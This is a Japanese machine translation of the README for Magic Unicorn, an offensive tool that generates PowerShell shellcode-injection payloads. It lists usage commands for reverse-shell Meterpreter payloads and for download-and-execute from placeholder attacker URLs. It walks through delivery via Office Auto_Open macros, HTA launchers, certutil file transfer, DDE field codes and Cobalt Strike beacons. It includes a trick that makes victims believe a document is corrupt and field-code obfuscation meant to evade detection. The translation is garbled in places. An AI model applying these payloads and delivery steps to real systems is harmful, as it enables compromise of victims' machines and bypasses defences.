Github: https://github.com/trustedsec/unicorn
ユニコーン
執筆者:Dave Kennedy(@HackingDave)ウェブサイト: https ://www.trustedsec.com
Magic Unicornは、PowerShellのダウングレード攻撃を使用し、シェルコードをメモリに直接注入するための簡単なツールです。 Matthew Graeberのpowershell攻撃と、Defcon 18のDavid Kennedy(TrustedSec)とJosh Kelly氏によるPowerShellバイパス技術に基づいています。
使い方は簡単です。Magic Unicornを実行するだけです(Metasploitが正しいパスにある場合はMetasploitがインストールされていることを確認してください)、magic unicornは自動的にpowershellコマンドを生成し、コマンドラインウィンドウやペイロード配送システム。 Unicornは独自のシェルコード、コバルトストライキ、Metasploitをサポートしています。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
—–パウエルヘル攻撃の指示—-
すべてがpowershell_attack.txtとunicorn.rcという2つのファイルで生成されます。 テキストファイルには、PowerShell攻撃をメモリに注入するために必要なすべてのコードが含まれています。 ある種のリモートコマンド注入をサポートする場所が必要であることに注意してください。 多くの場合、これはExcel / Wordの文書やMetasploit、SQLiなどの内部のpsexec_commandsを介して行われることがあります。この攻撃を使用できる場所は非常に多くの意味とシナリオがあります。 単にコマンドプロンプトウィンドウにpowershell_attack.txtコマンドを貼り付けるか、powershell実行ファイルを呼び出す機能があれば、シェルがあなたに戻ってくるだけです。 この攻撃はMeterpreterのペイロードだけではなくペイロードメソッドのwindows / download_execもサポートしています。 ダウンロードとexecを使用する場合は、単にpython unicorn.py windows / download_exec url = https://www.thisisnotarealsite.com/payload.exeと入力すると、powershellコードがペイロードをダウンロードして実行します。
攻撃を捕捉するには、リスナーを有効にする必要があります。
—–マクロ攻撃の指示—-
マクロ攻撃の場合は、[ファイル]、[プロパティ]、[リボン]、[開発者]の順に選択する必要があります。 これを実行すると、開発者タブが表示されます。 新しいマクロを作成し、Auto_Openと呼んで、生成されたコードをそのマクロに貼り付けます。 これは自動的に実行されます。 ファイルが破損していることをユーザーに知らせるメッセージが表示され、Excel文書が自動的に閉じられます。 これは正常な動作です! これは、犠牲者を騙して、卓越した文書が壊れていると思うようにすることです。 その後、powershellを使ってシェルを取得する必要があります。
これをOffice365 / 2016 +のWordに対して展開する場合は、出力の最初の行を次の場所から変更する必要があります。Sub Auto_Open()
To:Sub AutoOpen()
マクロ自体の名前も、従来の「Auto_Open」命名規則ではなく、「AutoOpen」でなければなりません。
注:追加のスペースがある場合は、「x」または構文エラーが発生した後に、それぞれのコードワードセクションを削除する必要がある場合は、エクセルをコピーしてペーストしてください。
—– HTA攻撃の指示—-
HTA攻撃は自動的に2つのファイルを生成します。最初はindex.htmlで、ブラウザにLauncher.htaを使用するように指示します。このLauncher.htaには、悪意のあるpowershell注入コードが含まれています。 すべてのファイルはhta_access /フォルダにエクスポートされ、3つのメインファイルがあります。 最初はindex.html、2番目のLauncher.hta、最後はunicorn.rcファイルです。 msfconsole -r unicorn.rcを実行すると、Metasploitのリスナーを起動できます。
PowerShellインジェクションを正しく機能させるためには、HTA攻撃を使用する場合にはallowとacceptをクリックする必要があります。
—– CERUTIL攻撃命令—-
certutil攻撃ベクトルはMatthew Graeber(@mattifestation)によって識別され、バイナリファイルをbase64形式に移動し、被害者マシンのcertutilを使用してバイナリ形式に戻すことができます。 これは事実上どんなシステムでも動作し、偽の証明書ファイルを通してバイナリを犠牲PCに転送することができます。 この攻撃を使用するには、実行ファイルをunicornのパスに置き、base64出力を得るためにpython unicorn.py <exe_name> crtを実行するだけです。 それが終わったら、ファイルが入っているdecode_attack /フォルダに行きます。 batファイルは、Windowsマシンで実行してバイナリに戻すコマンドです。
—–カスタムPS1の攻撃方法—-
この攻撃方法を使用すると、任意のPowerShellファイル(.ps1)をエンコードされたコマンドまたはマクロに変換できます。
マクロオプションを選択すると、大きなps1ファイルがVBAで許容されるキャリッジリターンを超える場合があります。 パラメータとして整数を渡すことによって、各VBA文字列の文字数を変更することができます。
例:
python unicorn.py harmless.ps1 python unicorn.py myfile.ps1マクロpython unicorn.py muahahaha.ps1マクロ500
最後のものは、デフォルトの380の代わりに500文字の文字列を使用するため、VBAのキャリッジリターンが少なくなります。
—– DDE Office COM攻撃の指示—-
この攻撃ベクトルは、DDEAUTOを生成してWordまたはExcelに配置します。 COMオブジェクトDDEInitilizeとDDEExecuteを使用すると、マクロを使用せずにリモートでコードを実行できるため、Office内で直接式を作成することができます。 この攻撃は文書化されており、完全な指示は以下にあります:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
この攻撃を使用するには、次の例を実行します。
python unicorn.py dde python unicorn.py windows / meterpreter / reverse_https 192.168.5.5 443 dde
生成されると、Officeコードを含むpowershell_attack.txtと、ペイロードのリスナーを処理するmsfconsole -r unicorn.rcによって呼び出されるリスナーコンポーネントであるunicorn.rcファイルが生成されます。 さらに、download.ps1もエクスポートされます(後のセクションで説明します)。
ペイロードを適用するには、例として(sensepost記事から):
- オープンワード
- [挿入]タブ – > [クイックパーツ] – > [フィールド]
- =(数式)を選択し、[OK]をクリックします。
- フィールドが挿入されると、 “!予期しない式の終了”
- フィールドを右クリックし、「フィールドコードの切り替え」を選択します。
- Unicornのコードに貼り付け
- Word文書を保存します。
オフィス文書が開かれたら、powershellを使ってシェルを受け取るべきです。 DDEは文字サイズが制限されており、ダウンロードする方法としてInvoke-Expression(IEX)を使用する必要があることに注意してください。
DDE攻撃は、サイズ制限に制限されているので、PowerShellの攻撃であるdownload.ps1をダウンロードしようとします。 download.ps1を犠牲PCからアクセス可能な場所に移動する必要があります。 つまり、アクセス権を持つApache2ディレクトリにdownload.ps1をホストする必要があります。
いくつかのコマンドは “{引用符”を使用していることに気がつくかもしれませんが、これは特定のコマンドを隠す方法です( http://staaldraad.github.io/2017/10/23/msword-field-codes/) 。 この場合、WindowsPowerShell、powershell.exe、およびIEXを変更して検出を回避します。 また、DDEを呼び出さないためのいくつかの素晴らしい方法があるので、URLをチェックしてください。
—–輸入コバルトストライクビーコン—-
このメソッドは、Cobalt Strikeから直接Cobalt Strike Beaconシェルコードを直接インポートします。
Cobalt Strike内で、Cobalt Strike “CS”(C#)エクスポートをエクスポートしてファイルに保存します。 たとえば、ファイルcobalt_strike_file.csを呼び出します。
エクスポートコードは次のようになります。
- 長さ:836バイト* /バイト[] buf =新しいバイト[836] {0xfc、等
次に、使用方法:
python unicorn.py cobalt_strike_file.cs cs
cs引数は、UnicornにCobaltストライク機能を使用することを伝えます。 残りはMagicです。
次に、powershellコマンドをリモートコマンド実行のための機能にコピーします。
注記:ファイルは、コルバート内でC#(CS)形式で正しくエクスポートされなければなりません。
この攻撃にはいくつかの注意点があります。 ペイロードサイズは、バイトサイズで14k +を少し上回ることに注意してください。 これは、コマンドライン引数の観点から、コピー&ペーストすれば、8191文字サイズ制限(cmd.exeにハードコードされている)に当たることを意味します。 cmd.exeから直接起動する場合は問題ですが、PowerShellやその他の通常のアプリケーションから直接起動する場合は問題ありません。
いくつかの例では、wscript.shellとpowershellはUSHORT – 65535/2 = 32767サイズ制限を使います:
typedef struct _UNICODE_STRING {USHORTの長さ; USHORT MaximumLength; PWSTRバッファ; } UNICODE_STRING;
PowerShell、VBSCript(WSCRIPT.SHELL)から直接起動する場合、この攻撃に対しては問題はありません。
—–カスタムシェルコード生成メソッド—–
この方法では、独自のシェルコードをUnicorn攻撃に挿入することができます。 PowerShellコードは、(VirtualAllocを介して)powershell.exeのスタック側を増加させ、メモリに注入します。
これを機能させるには、Unicornを指すtxtファイルを次の形式でフォーマットする必要があります。そうしないと、動作しません。
0x00,0x00,0x00など。
また、サイズの制限があることに注意してください。 PowerShellコマンドの全長のサイズは、8191のサイズを超えることはできません。これは、Windowsのコマンドライン引数の最大サイズ制限です。
使用法:
Python uniocrn.py shellcode_formatted_properly.txtシェルコード
次に、powershellコマンドをリモートコマンド実行のための機能にコピーします。
注:ファイルは、TXTファイル内のSHELLCODE以外の何もない0x00,0x00,0x00形式の形式で正しくフォーマットされなければなりません。
この攻撃にはいくつかの注意点があります。 ペイロードのサイズが本質的に大きければ、cmd.exeに収まらないことに注意してください。 これは、コマンドライン引数の観点から、コピー&ペーストすれば、8191文字サイズ制限(cmd.exeにハードコードされている)に当たることを意味します。 cmd.exeから直接起動する場合は問題ですが、PowerShellやその他の通常のアプリケーションから直接起動する場合は問題ありません。
いくつかの例では、wscript.shellとpowershellはUSHORT – 65535/2 = 32767サイズ制限を使います:
typedef struct _UNICODE_STRING {USHORTの長さ; USHORT MaximumLength; PWSTRバッファ; } UNICODE_STRING;
PowerShell、VBSCript(WSCRIPT.SHELL)から直接起動する場合のこの攻撃に対しては、
問題。